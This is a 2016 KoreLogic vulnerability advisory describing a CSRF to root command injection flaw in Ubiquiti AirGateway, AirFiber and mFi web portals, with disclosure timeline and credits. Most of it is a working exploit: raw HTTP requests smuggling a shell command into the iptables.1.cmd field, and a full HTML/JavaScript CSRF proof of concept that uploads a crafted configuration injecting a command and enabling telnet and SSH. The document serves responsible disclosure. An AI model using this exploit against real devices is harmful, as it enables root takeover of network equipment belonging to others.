Ubiquiti Administration Portal CSRF / Remote Command Execution

`KL-001-2016-002 : Ubiquiti Administration Portal CSRF to Remote Command Execution  
  
Title: Ubiquiti Administration Portal CSRF to Remote Command Execution  
Advisory ID: KL-001-2016-002  
Publication Date: 2016.06.28  
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-002.txt  
  
  
1. Vulnerability Details  
  
Affected Vendor: Ubiquiti  
Affected Product: AirGateway, AirFiber, mFi  
Affected Version: 1.1.6, 3.2, 2.1.11  
Platform: Embedded Linux  
CWE Classification: CWE-352: Cross-Site Request Forgery (CSRF);  
CWE-77: Improper Neutralization of Special Elements  
used in a Command ('Command Injection')  
Impact: Arbitrary Code Execution  
Attack vector: HTTP  
  
2. Vulnerability Description  
  
The Ubiquiti AirGateway, AirFiber and mFi platforms feature  
remote administration via an authenticated web-based portal.  
Lack of CSRF protection in the Remote Administration Portal,  
and unsafe passing of user input to operating system commands  
exectuted with root privileges, can be abused in a way that  
enables remote command execution.  
  
3. Technical Description  
  
  
The firmware files analyzed were  
AirGWP.v1.1.6.28062.150731.1520.bin, AF24.v3.2.bin, and  
firmware.bin respectively.  
  
The MD5 hash values for the vulnerable files served by the  
administration portal are:  
  
AirGateway b45fe8e491d62251f0a7a100c636178a /usr/www/system.cgi  
AirFiber d8926f7f65a2111f4036413f985082b9 /usr/www/system.cgi  
mFi 960e8f6e507b227dbc4b65fc7a7036bc /usr/www/system.cgi  
  
The firmware file contains a LZMA compressed, squashfs  
partition. The binaries running on the embedded device are  
compiled for a MIPS CPU. The device can be easily virtualized  
using QEMU:  
  
Example: sudo /usr/sbin/chroot . ./qemu-mips-static /usr/sbin/lighttpd  
-f /etc/lighttpd/lighttpd.conf  
  
The administration portal does not issue a randomized CSRF  
token either per session, page, or request. Administration  
authorization is solely based on cookie control. Therefore,  
it is possible to embed JavaScript into an HTML page so when  
an administrator is socially engineered into visiting the page,  
the target device will be accessed with privileges.  
  
Device configuration POST parameters include tokens passed to  
operating system commands run as root in unsafe ways with  
insufficient input sanitization. Command injection is possible  
by stacking shell commands in parameters such as  
iptables.1.cmd.  
  
In order for a developer to recreate this discovery, the  
following instructions should be duplicated.  
  
a. Authenticate to the target web application and navigate to the  
SYSTEM page.  
b. Download the current configuration.  
c. Open the configuration in an editor of your choice, navigate to the  
line containing: iptables.1.cmd=-A FIREWALL -j ACCEPT  
d. Append the following onto that line: ;touch /var/tmp/csrf-to-rce.txt  
e. Save the changes, and submit the modified configuration. Apply the  
changes using apply.cgi afterward.  
  
Example:  
  
POST /system.cgi HTTP/1.1  
Host: 192.168.1.1  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:43.0)  
Gecko/20100101 Firefox/43.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;  
q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
DNT: 1  
Referer: https://192.168.1.1/system.cgi  
Cookie: ui_language=en_US; last_check=1452020493426;  
AIROS_SESSIONID=e5f61a5c0a9d0690b4efd484e56b8c93  
Connection: keep-alive  
Content-Type: multipart/form-data;  
boundary=---------------------------4384928471732886672453075690  
Content-Length: 7204  
  
...  
iptables.1.cmd=-A FIREWALL -j ACCEPT; touch /var/tmp/csrf-to-rce.txt  
...  
  
GET /apply.cgi?testmode=&_=[redacted] HTTP/1.1  
Host: 192.168.1.1  
X-Requested-With: XMLHttpRequest  
Referer: https://192.168.1.1/system.cgi  
Cookie: ui_language=en_US; last_check=1452020493426;  
AIROS_SESSIONID=e5f61a5c0a9d0690b4efd484e56b8c93  
Connection: keep-alive  
  
f. Change your IP address, but ensure continued routing to the target web  
application. Incrementing the last octet is sufficient.  
g. Open the configuration in an editor of your choice, navigate to the  
modified line and alter it: ;touch /var/tmp/csrf-to-rce-newsrc.txt  
h. Repeat step 5 from the new IP address. You will receive the same  
response. Apply the changes using the apply.cgi file.  
i. Login to the target device using SSH or telnet, navigate to /var/tmp  
and type ls.  
j. You'll discover both files exist.  
  
4. Mitigation and Remediation Recommendation  
  
At this time there is no vendor patch for this vulnerability.  
The vendor was unable or unwilling to communicate an expected release  
date for a proper mitigation.  
  
5. Credit  
  
This vulnerability was discovered by Matt Bergin (@thatguylevel)  
of KoreLogic, Inc.  
  
6. Disclosure Timeline  
  
2016.02.25 - KoreLogic sends vulnerability report and PoC to Ubiquiti.  
2016.02.26 - Ubiquiti acknowledges receipt of vulnerability report.  
2016.04.12 - 30 business days have elapsed since the vulnerability was  
reported to Ubiquiti.  
2016.04.21 - KoreLogic asks for an update on the remediation effort.  
2016.04.29 - Ubiquiti replies that the patch will require  
"significant changes" but does not provide an estimate  
of the release time table.  
2016.05.04 - 45 business days have elapsed since the vulnerability was  
reported to Ubiquiti.  
2016.05.12 - KoreLogic requests an update from Ubiquiti.  
2016.05.23 - KoreLogic requests an update from Ubiquiti.  
2016.06.23 - 80 business days have elapsed since the vulnerability was  
reported to Ubiquiti.  
2016.06.28 - Public disclosure.  
  
7. Proof of Concept  
  
########################################################################  
#  
# Copyright 2016 KoreLogic Inc., All Rights Reserved.  
#  
# This proof of concept, having been partly or wholly developed  
# and/or sponsored by KoreLogic, Inc., is hereby released under  
# the terms and conditions set forth in the Creative Commons  
# Attribution Share-Alike 4.0 (United States) License:  
#  
# http://creativecommons.org/licenses/by-sa/4.0/  
#  
#######################################################################*  
  
This example has been performed against the AirGateway device running the  
1.1.6 firmware version. In order to recreate this vulnerability on  
AirFiber and mFi, the attacker should first obtain a valid copy of the  
device configuration and update this proof-of-concept code.  
  
<html>  
<body>  
<form action="https://192.168.1.1/apply.cgi" id="airos-exploit-apply">  
<input type="submit" value="Submit request" />  
</form>  
  
<script>  
function submitRequest()  
{  
var xhr = new XMLHttpRequest();  
xhr.open("POST", "https://192.168.1.1/system.cgi", true);  
xhr.setRequestHeader("Accept",  
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");  
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");  
xhr.setRequestHeader("Content-Type", "multipart/form-data;  
boundary=---------------------------761818923593135447208368355");  
xhr.withCredentials = true;  
var body = "-----------------------------761818923593135447208368355\r\n" +  
"Content-Disposition: form-data; name=\"fwfile\"; filename=\"\"\r\n" +  
"Content-Type: application/octet-stream\r\n" +  
"\r\n" +  
"\r\n" +  
"-----------------------------761818923593135447208368355\r\n" +  
"Content-Disposition: form-data; name=\"action\"\r\n" +  
"\r\n" +  
"fwupload\r\n" +  
"-----------------------------761818923593135447208368355\r\n" +  
"Content-Disposition: form-data; name=\"update_status\"\r\n" +  
"\r\n" +  
"enabled\r\n" +  
"-----------------------------761818923593135447208368355\r\n" +  
"Content-Disposition: form-data; name=\"hostname\"\r\n" +  
"\r\n" +  
"airGateway\r\n" +  
"-----------------------------761818923593135447208368355\r\n" +  
"Content-Disposition: form-data; name=\"timezone\"\r\n" +  
"\r\n" +  
"GMT\r\n" +  
"-----------------------------761818923593135447208368355\r\n" +  
"Content-Disposition: form-data; name=\"ui_language\"\r\n" +  
"\r\n" +  
"en_US\r\n" +  
"-----------------------------761818923593135447208368355\r\n" +  
"Content-Disposition: form-data; name=\"adminname\"\r\n" +  
"\r\n" +  
"ubnt\r\n" +  
"-----------------------------761818923593135447208368355\r\n" +  
"Content-Disposition: form-data; name=\"latitude\"\r\n" +  
"\r\n" +  
"\r\n" +  
"-----------------------------761818923593135447208368355\r\n" +  
"Content-Disposition: form-data; name=\"longitude\"\r\n" +  
"\r\n" +  
"\r\n" +  
"-----------------------------761818923593135447208368355\r\n" +  
"Content-Disposition: form-data; name=\"longitude\"\r\n" +  
"\r\n" +  
"\r\n" +  
"-----------------------------761818923593135447208368355\r\n" +  
"Content-Disposition: form-data; name=\"cfgfile\";  
filename=\"hacked.cfg\"\r\n" +  
"Content-Type: application/octet-stream\r\n" +  
"\r\n" +  
"aaa.1.radius.acct.1.status=disabled\n" +  
"wpasupplicant.status=disabled\n" +  
"wpasupplicant.device.1.status=disabled\n" +  
"wireless.status=enabled\n" +  
"wireless.1.wds.status=disabled\n" +  
"wireless.1.wds.6.peer=\n" +  
"wireless.1.wds.5.peer=\n" +  
"wireless.1.wds.4.peer=\n" +  
"wireless.1.wds.3.peer=\n" +  
"wireless.1.wds.2.peer=\n" +  
"wireless.1.wds.1.peer=\n" +  
"wireless.1.status=enabled\n" +  
"wireless.1.ssid=www.ubnt.com\n" +  
"wireless.1.security.type=none\n" +  
"wireless.1.scan_list.status=disabled\n" +  
"wireless.1.mac_acl.policy=allow\n" +  
"wireless.1.mac_acl.status=disabled\n" +  
"wireless.1.hide_ssid=disabled\n" +  
"wireless.1.devname=ath0\n" +  
"wireless.1.autowds=disabled\n" +  
"wireless.1.authmode=1\n" +  
"wireless.1.ap=\n" +  
"wireless.1.addmtikie=enabled\n" +  
"vlan.status=disabled\n" +  
"users.status=enabled\n" +  
"users.1.status=enabled\n" +  
"users.1.password=VvpvCwhccFv6Q\n" +  
"users.1.name=ubnt\n" +  
"upnpd.devname=\n" +  
"upnpd.status=disabled\n" +  
"tshaper.status=disabled\n" +  
"telnetd.status=enabled\n" +  
"telnetd.port=23\n" +  
"system.modules.blacklist.status=disabled\n" +  
"system.eirp.status=disabled\n" +  
"system.cfg.version=65542\n" +  
"syslog.status=disabled\n" +  
"syslog.remote.status=\n" +  
"sshd.status=enabled\n" +  
"sshd.port=22\n" +  
"sshd.auth.passwd=enabled\n" +  
"snmp.status=disabled\n" +  
"route.1.devname=eth0\n" +  
"route.1.status=disabled\n" +  
"route.1.comment=\n" +  
"route.1.gateway=0.0.0.0\n" +  
"route.1.netmask=0\n" +  
"route.1.ip=0.0.0.0\n" +  
"route.status=enabled\n" +  
"resolv.nameserver.2.status=enabled\n" +  
"resolv.nameserver.2.ip=\n" +  
"resolv.nameserver.1.status=enabled\n" +  
"resolv.nameserver.1.ip=\n" +  
"resolv.status=disabled\n" +  
"radio.status=enabled\n" +  
"radio.countrycode=840\n" +  
"radio.1.txpower=18\n" +  
"radio.1.subsystemid=0xe4c2\n" +  
"radio.1.status=enabled\n" +  
"radio.1.reg_obey=disabled\n" +  
"radio.1.rate.mcs=7\n" +  
"radio.1.rate.auto=enabled\n" +  
"radio.1.obey=disabled\n" +  
"radio.1.mode=master\n" +  
"radio.1.mcastrate=\n" +  
"radio.1.low_txpower_mode=disabled\n" +  
"radio.1.ieee_mode=11nght20\n" +  
"radio.1.freq=0\n" +  
"radio.1.forbiasauto=1\n" +  
"radio.1.dfs.status=enabled\n" +  
"radio.1.devname=ath0\n" +  
"radio.1.cwm.mode=0\n" +  
"radio.1.cwm.enable=0\n" +  
"radio.1.countrycode=840\n" +  
"radio.1.clksel=1\n" +  
"radio.1.chanshift=\n" +  
"radio.1.chanbw=0\n" +  
"radio.1.antenna.id=4\n" +  
"radio.1.acktimeout=25\n" +  
"radio.1.ackdistance=600\n" +  
"pwdog.status=enabled\n" +  
"pwdog.retry=3\n" +  
"pwdog.period=300\n" +  
"pwdog.host=8.8.8.8\n" +  
"pwdog.delay=300\n" +  
"ppp.status=disabled\n" +  
"ntpclient.status=enabled\n" +  
"ntpclient.1.status=enabled\n" +  
"ntpclient.1.server=0.ubnt.pool.ntp.org\n" +  
"netmode=soho\n" +  
"netconf.5.up=enabled\n" +  
"netconf.5.hwaddr.mac=\n" +  
"netconf.5.hwaddr.status=disabled\n" +  
"netconf.5.autoip.status=disabled\n" +  
"netconf.5.role=mlan\n" +  
"netconf.5.mtu=1500\n" +  
"netconf.5.devname=eth0\n" +  
"netconf.5.status=disabled\n" +  
"netconf.4.up=enabled\n" +  
"netconf.4.netmask=255.255.255.0\n" +  
"netconf.4.ip=0.0.0.0\n" +  
"netconf.4.hwaddr.mac=\n" +  
"netconf.4.hwaddr.status=disabled\n" +  
"netconf.4.autoip.status=disabled\n" +  
"netconf.4.role=bridge_port\n" +  
"netconf.4.mtu=1500\n" +  
"netconf.4.devname=eth1\n" +  
"netconf.4.status=enabled\n" +  
"netconf.3.up=enabled\n" +  
"netconf.3.netmask=255.255.255.0\n" +  
"netconf.3.ip=192.168.1.1\n" +  
"netconf.3.hwaddr.mac=\n" +  
"netconf.3.hwaddr.status=disabled\n" +  
"netconf.3.autoip.status=disabled\n" +  
"netconf.3.role=lan\n" +  
"netconf.3.mtu=1500\n" +  
"netconf.3.devname=br0\n" +  
"netconf.3.status=enabled\n" +  
"netconf.2.up=enabled\n" +  
"netconf.2.promisc=enabled\n" +  
"netconf.2.netmask=255.255.255.0\n" +  
"netconf.2.ip=0.0.0.0\n" +  
"netconf.2.hwaddr.mac=\n" +  
"netconf.2.hwaddr.status=disabled\n" +  
"netconf.2.autoip.status=disabled\n" +  
"netconf.2.role=bridge_port\n" +  
"netconf.2.mtu=1500\n" +  
"netconf.2.devname=ath0\n" +  
"netconf.2.status=enabled\n" +  
"netconf.1.up=enabled\n" +  
"netconf.1.promisc=enabled\n" +  
"netconf.1.netmask=255.255.255.0\n" +  
"netconf.1.ip=0.0.0.0\n" +  
"netconf.1.hwaddr.mac=\n" +  
"netconf.1.hwaddr.status=disabled\n" +  
"netconf.1.autoip.status=disabled\n" +  
"netconf.1.role=wan\n" +  
"netconf.1.mtu=1500\n" +  
"netconf.1.devname=eth0\n" +  
"netconf.1.status=enabled\n" +  
"netconf.status=enabled\n" +  
"iptables.sys.upnpd.devname=\n" +  
"iptables.sys.upnpd.status=disabled\n" +  
"iptables.sys.status=enabled\n" +  
"iptables.sys.portfw.status=disabled\n" +  
"iptables.sys.mgmt.status=disabled\n" +  
"iptables.sys.masq.1.status=enabled\n" +  
"iptables.sys.masq.1.devname=eth0\n" +  
"iptables.sys.masq.status=enabled\n" +  
"iptables.sys.fw.status=disabled\n" +  
"iptables.sys.dmz.status=disabled\n" +  
"iptables.1.comment=\n" +  
"iptables.1.cmd=-A FIREWALL -j ACCEPT; touch /var/hacked.txt\n" +  
"iptables.1.status=enabled\n" +  
"iptables.status=enabled\n" +  
"igmpproxy.status=enabled\n" +  
"igmpproxy.upstream.devname=eth0\n" +  
"igmpproxy.1.downstream.devname=br0\n" +  
"httpd.status=enabled\n" +  
"httpd.session.timeout=900\n" +  
"httpd.port=80\n" +  
"httpd.https.status=enabled\n" +  
"httpd.https.port=443\n" +  
"gui.wlan.advanced.status=disabled\n" +  
"gui.network.advanced.status=enabled\n" +  
"ebtables.sys.vlan.status=disabled\n" +  
"ebtables.sys.status=enabled\n" +  
"ebtables.sys.eap.status=disabled\n" +  
"ebtables.sys.eap.1.status=enabled\n" +  
"ebtables.sys.eap.1.devname=ath0\n" +  
"ebtables.sys.arpnat.status=disabled\n" +  
"ebtables.sys.arpnat.1.status=enabled\n" +  
"ebtables.sys.arpnat.1.devname=ath0\n" +  
"ebtables.status=enabled\n" +  
"dyndns.status=disabled\n" +  
"dnsmasq.status=disabled\n" +  
"dnsmasq.1.status=disabled\n" +  
"dnsmasq.1.devname=eth0\n" +  
"discovery.status=enabled\n" +  
"discovery.cdp.status=enabled\n" +  
"dhcpd.1.start=192.168.1.2\n" +  
"dhcpd.1.netmask=255.255.255.0\n" +  
"dhcpd.1.lease_time=600\n" +  
"dhcpd.1.end=192.168.1.254\n" +  
"dhcpd.1.dnsproxy=enabled\n" +  
"dhcpd.1.devname=br0\n" +  
"dhcpd.1.dns.2.status=disabled\n" +  
"dhcpd.1.dns.2.server=\n" +  
"dhcpd.1.dns.1.status=disabled\n" +  
"dhcpd.1.dns.1.server=\n" +  
"dhcpd.1.status=enabled\n" +  
"dhcpd.status=enabled\n" +  
"dhcpc.1.status=enabled\n" +  
"dhcpc.1.fallback_netmask=255.255.255.0\n" +  
"dhcpc.1.fallback=192.168.10.1\n" +  
"dhcpc.1.devname=eth0\n" +  
"dhcpc.status=enabled\n" +  
"bridge.1.fd=1\n" +  
"bridge.1.comment=\n" +  
"bridge.1.port.2.devname=eth1\n" +  
"bridge.1.port.2.status=enabled\n" +  
"bridge.1.port.1.devname=ath0\n" +  
"bridge.1.port.1.status=enabled\n" +  
"bridge.1.stp.status=disabled\n" +  
"bridge.1.devname=br0\n" +  
"bridge.1.status=enabled\n" +  
"bridge.status=enabled\n" +  
"aaa.status=disabled\n" +  
"aaa.1.status=disabled\n" +  
"aaa.1.radius.macacl.status=disabled\n" +  
"aaa.1.radius.auth.1.status=disabled\n" +  
"\r\n" +  
"-----------------------------761818923593135447208368355\r\n" +  
"Content-Disposition: form-data; name=\"cfgupload\"\r\n" +  
"\r\n" +  
"Upload\r\n" +  
"-----------------------------761818923593135447208368355\r\n" +  
"Content-Disposition: form-data; name=\"action\"\r\n" +  
"\r\n" +  
"cfgupload\r\n" +  
"-----------------------------761818923593135447208368355\r\n" +  
"Content-Disposition: form-data; name=\"systemdate\"\r\n" +  
"\r\n" +  
"\r\n" +  
"-----------------------------761818923593135447208368355--\r\n";  
var aBody = new Uint8Array(body.length);  
for (var i = 0; i < aBody.length; i++)  
aBody[i] = body.charCodeAt(i);  
xhr.send(new Blob([aBody]));  
}  
submitRequest();  
document.getElementById("airos-exploit-apply").submit();  
</script>  
</body>  
</html>  
  
  
The contents of this advisory are copyright(c) 2016  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/  
  
KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html  
  
Our public vulnerability disclosure policy is available at:  
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt  
  
`